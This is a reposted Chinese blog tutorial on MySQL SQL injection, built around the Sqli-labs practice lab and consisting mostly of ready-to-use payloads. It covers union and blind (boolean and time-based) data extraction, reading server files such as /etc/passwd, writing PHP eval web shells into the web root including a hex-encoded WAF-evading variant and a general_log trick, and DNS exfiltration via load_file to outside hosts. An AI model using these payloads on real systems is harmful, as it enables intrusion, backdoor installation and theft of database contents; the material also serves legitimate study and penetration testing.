SQL注入技巧详解-优快云博客

转载自http://www.vuln.cn/9027

SQL注入教程说明

本教程旨在带领理解SQL注入基本原理与实现方式，以及常见的注入操作。
学习SQL注入之前需要先学习基本的SQL语句，http基本的get与post请求，url编码。
本教程从笔记中整理修饰，可能连贯性不强，不够系统，但都是重要且需要理解的点。
建议基于Sqlilab边学习边实践
在理解本教程完后，可以学习：Sqlmap使用教程【个人笔记精华整理】
SQL手工注入入门教程

mysql基本hack函数：

mid
SELECT MID(ColumnName, Start [, Length]) FROM TableName

LEFT(str,len)
返回字符串str的最左面len个字符

ASCII(str) =ORD
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串，返回0。如果str是NULL，返回NULL

SUBSTR(str,pos,len)
从str中多少个字符开始，截取多少位

CAST
SELECT CAST(’12’ AS int)     将目标str转化为目标数据类型

 IFNULL(expr1,expr2)
如果expr1不是NULL，IFNULL()返回expr1，否则它返回expr2

updatexml()：更新XML文档的函数

extracavalue()：对XML文档进行查询的函数

判断字符的一些语句：

left(database(),1)>’s’ //left()函数

Explain:database()显示数据库名称，left(a,b)从左侧截取 a 的前 b 位

ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 –+ //substr()函数，ascii()函数

Explain：substr(a,b,c)从 b 位置开始，截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值

ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数，MID()函数

Explain：mid(a,b,c)从位置 b 开始，截取 a 字符串的 c 位

Ord()函数同 ascii()，将字符转为 ascii 值

LOAD_FILE

加载本地文件（服务器上）

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

说明：“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

说明：“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’) into outfile ‘c:\\wamp\\www\\test.php’

可以将其他路径的文件导到web目录来供访问，一般用于把包含一句话木马的文件导出成php来链接

SELECT … INTO OUTFILE 语句有以下属性:
LOAD DATA INFILE是SELECT … INTO OUTFILE的逆操作，SELECT句法。为了将一个数据库的数据写入一个文件，使用SELECT … INTO OUTFILE，为了将文件读回数据库，使用LOAD DATA INFILE。
SELECT…INTO OUTFILE 'file_name’形式的SELECT可以把被选择的行写入一个文件中。该文件被创建到服务器主机上，因此您必须拥有FILE权限，才能使用此语法。
输出不能是一个已存在的文件。防止文件数据被篡改。
你需要有一个登陆服务器的账号来检索文件。否则 SELECT … INTO OUTFILE 不会起任何作用。
在UNIX中，该文件被创建后是可读的，权限由MySQL服务器所拥有。这意味着，虽然你就可以读取该文件，但可能无法将其删除。

get与post请求注释符的区别

一般很容易在各种教程上看到 ‘ or and 1=1 # 或 ‘ or and 1=1 --+
但可能没人告诉你什么情况下该用什么。

“/* */”、#和--(注：--与后面语句间必须有空格)是sql语句中的注释符，+ 在http请求中表示空格，但get与post中，由于http请求的转义，请求到后端sql语句拼接的时候可能会不一样。

get请求的时候一般用:

1′ and 1=1 --+

这里最后的空格用+，在请求的时候不会被urlencode，到后端sql语句中就会成为一个正常的空格，–后面的语句就会被注释。
但是如果在post里最后用"+"的话就会被urlencode成%2B，实际的空格被转义才被转义成+

uname=1%27+or+1%3D1+--%2B&passwd=111&submit=Submit

post请求的时候一般用：

这时候，在post的情况下，最后一个空格，可以直接用空格，不用+来代替，因为post参数空格会自动转成+；
而之所以不在get注入的时候使用“#”来注释，是因为，请求时，“#”不会被urlencode为“%23”，被识别为锚链接，无法传递至sql语句中。

找一个库中有哪些表名：

select table_name from information_schema where table_schema ="security";

找一个表中有哪些列名：

select column_name from information_schema where table_name ="emails";

AND与OR的区别

需要理解 and和or的区别
在这里插入图片描述
场景举例：
没有订单可以测的情况下，只能用or

union联合查询注入

当union前面的语句为false时才会执行后面语句（这里一定先学习union查询的用法菜鸟教程sql union）
如以下，union语句前先构建一个错误条件。

www.vuln.cn/sql/less-1/?id=1' and 1=2 union select 1,user(),database() --+

www.vuln.cn/sql/less-1/?id=-1' union select 1,user(),database() --+

union与order by 后面跟着的列数是跟前面的select 列数相同的，不是该表的总列数
总列数判断为：

www.vuln.cn/sql/less-10/?id=1" and  if((select count(*) from information_schema.columns where table_name = "emails")=2,sleep(5),1) --+
解释：如果列数为2，则延时5秒响应。

判断某列是否存在也可以用：

www.vuln.cn/sql/less-10/?id=1" and exists (select username from admin)

当union查同库其他表时，需要知道库名：
如：

www.vuln.cn/?id=-1 uni%00on se%00lect id,hash fr%00om sql3.key

读文件/写shell

这里包含了网上常见或不常见的导出一句话的骚操作
支持union的方法，最常规的方式：

www.vuln.cn/sql/less-10/?id=-1" union select 1,user(),3 into outfile "C:\\test.txt" --+

16进制写shell

www.vuln.cn/sql/less-10/?id=-1" union select 0x3c,0x3f,0x6576616C28245F504F53545B785D293B3F3E into outfile "C:\\test.php" --+

其中上面的16 进制组合成的是一个一句话<? eval($_POST[x]);?>，其实这样的sql可以过waf

利用分隔符写shell

如果不支持union，可以用分隔符导出一句话，当然字段数要大于2。

select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23     
#分隔符也可以用16进制表示

select exp(~(select * from(select 'hello')a)) into outfile 'C:/out.txt'; 
 //但是只能写一个0进去。

修改sql日志路径到web下的一个php文件

show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>' #写入shell

读文件：

select exp(~(select*from(select load_file('/etc/passwd'))a));

mysql> UPDATE table_test
    -> SET blob_col=LOAD_FILE('/tmp/picture')
    -> WHERE id=1;

基于布尔值的盲注

可以通过响应的不同可以判断sql语句是否正确
枚举字符来判断字符是否存在

mysql的一些特征：

select 1 from information_schema.tables where table_schema="security"； 这种情况后面只要为真，就会返回1

select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1;

当试探第二个表的时候并不是改为limit1,1，因为limit针对的是条件筛选后的过滤，所以测试其他表的时候，继续修改正则即可，如果us[a-z]为1，ua[a-z]，说明至少有两个表，一个表以us开头，另一个ua开头
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 这种情况取第二个表的时候就需要limit 2,1了，因为表的排序是固定不会变的
select user() like ‘ro%’，有匹配的时候会返回1，

标准的正则布尔测试：

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

比如判断数据库版本：

http://www.vuln.cn/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

判断是否条件成立的其他方法：

http://www.vuln.cn/index.php?a=examtraining&c=index&id=1 and (ord(substr(database() ,1,1))-1010) &m=member&type=TF

盲注流程

获取库名：

and%20ord(substr(database(),1,1))>80+–+

获取表名：
利用 substr() ascii()函数进行尝试

http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

获取字段名：

http://www.vuln.cn/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
and ord(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105+--+

获取表数据：

http://www.vuln.cn/sqllib/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
and ord(mid((select id from emails order by id limit 0,1),1,1))<105+--+

通过dns获取盲注数据：http://www.vuln.cn/6805

由于union后必须跟上与前面同样的字段数，所以需要把load_file放在其中，非union直接select load_file即可
dns获取盲注数据示例：

http://www.vuln.cn/SQL/Less-8/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',(select id from emails limit 0,1),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+

http://localhost/SQL/Less-9/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',database(),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+

后面要有一串任意字符，访问远程目录的意思，所以这个“foobar”可以用任意字符替换。
还可以：

select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);

延时注入

适用于当我们测试的时候没有任何回显来判断是否有注入，比如订单搜索，比如当sql错误的时候返回与正确的相同，我们就无法通过回显差异来判断注入
如下图代码，成立与否页面不变化

所以就需要通过判断是否延时来确认是否有注入

http://www.vuln.cn/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

http://www.vuln.cn/sql/less-9/?id=1' and if((ord(substr(user(),1,1))=114),sleep(5),1) --+

如果过滤逗号，可以：

show fields from `tiny_nav` where field='id' and sleep(('a'=(select name from tiny_manager where id=3 union select 'a' order by 1 limit 1))*5)

还可以利用 union select 加 order by 逐字猜解…
假设，name 是 admin
当猜出第一个字母为 ‘a’ 时，’a’=’a’及真。用 0，1表示的话就是1，然后 sleep(15)，如果是假，那就是sleep(05)…
先基本判断有没有延时，然后在load_file来dns查询

www.vuln.cn/SQL/Less-8/?id=1%27+and sleep(5) --+

可以

www.vuln.cn/sql/less-10/?id=1" and sleep(5) order by 8 --+

post注入
最大的区别在于注释符的使用，and改为or而已
如：

') or (ord(substr(user(),1,1))>1#